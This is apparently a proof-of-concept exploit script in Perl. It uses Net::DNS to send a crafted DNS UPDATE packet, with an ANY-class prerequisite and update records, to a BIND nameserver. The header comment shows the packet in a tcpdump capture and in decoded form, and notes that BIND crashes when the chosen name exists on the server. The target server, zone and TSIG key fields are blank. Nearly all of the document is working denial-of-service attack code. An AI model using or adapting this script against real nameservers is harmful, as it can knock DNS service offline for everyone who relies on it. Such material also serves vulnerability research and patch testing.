#!/usr/bin/perl -w # # Packet in tcpdump: # # 15:38:11.676045 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto: UDP (17), # length: 178) 10.2.0.205.59447 > 10.2.0.205.53: 17378 update [1a] [1n] [1au] # SOA? 8.0.10.in-addr.arpa. 8.8.0.10.in-addr.arpa. ANY ns: [|domain] # # Another view of the Packet: # # | ;; HEADER SECTION # | ;; id = 181 # | ;; qr = 0 opcode = UPDATE rcode = NOERROR # | ;; zocount = 1 prcount = 1 upcount = 1 adcount = 1 # | # | ;; ZONE SECTION (1 record) # | ;; 8.0.10.in-addr.arpa. IN SOA # | # | ;; PREREQUISITE SECTION (1 record) # | 4.8.0.10.in-addr.arpa. 0 IN ANY ; no data # | # | ;; UPDATE SECTION (1 record) # | 4.8.0.10.in-addr.arpa. 0 ANY ANY ; no data # | # | ;; ADDITIONAL SECTION (1 record) # | office.example.com. 0 ANY TSIG HMAC-MD5.SIG-ALG.REG.INT. NOERROR # # bind only crashes, if the used fqdn exists on the nameserver. # use Net::DNS; our $NSI = ''; our $NSI_KEY_NAME = ''; our $NSI_KEY = ''; my $rzone = ''; my $rptr = "1.$rzone"; my $packet = Net::DNS::Update->new($rzone); $packet->push( pre => Net::DNS::RR->new( Name => $rptr, Class => 'IN', Type => 'ANY', TTL => 0, ) ); $packet->push( update => Net::DNS::RR->new( Name => $rptr, Class => 'ANY', Type => 'ANY', ) ); $packet->sign_tsig( $NSI_KEY_NAME, $NSI_KEY ) if $NSI_KEY_NAME && $NSI_KEY; print $packet->string; Net::DNS::Resolver->new( nameservers => [$NSI] )->send($packet);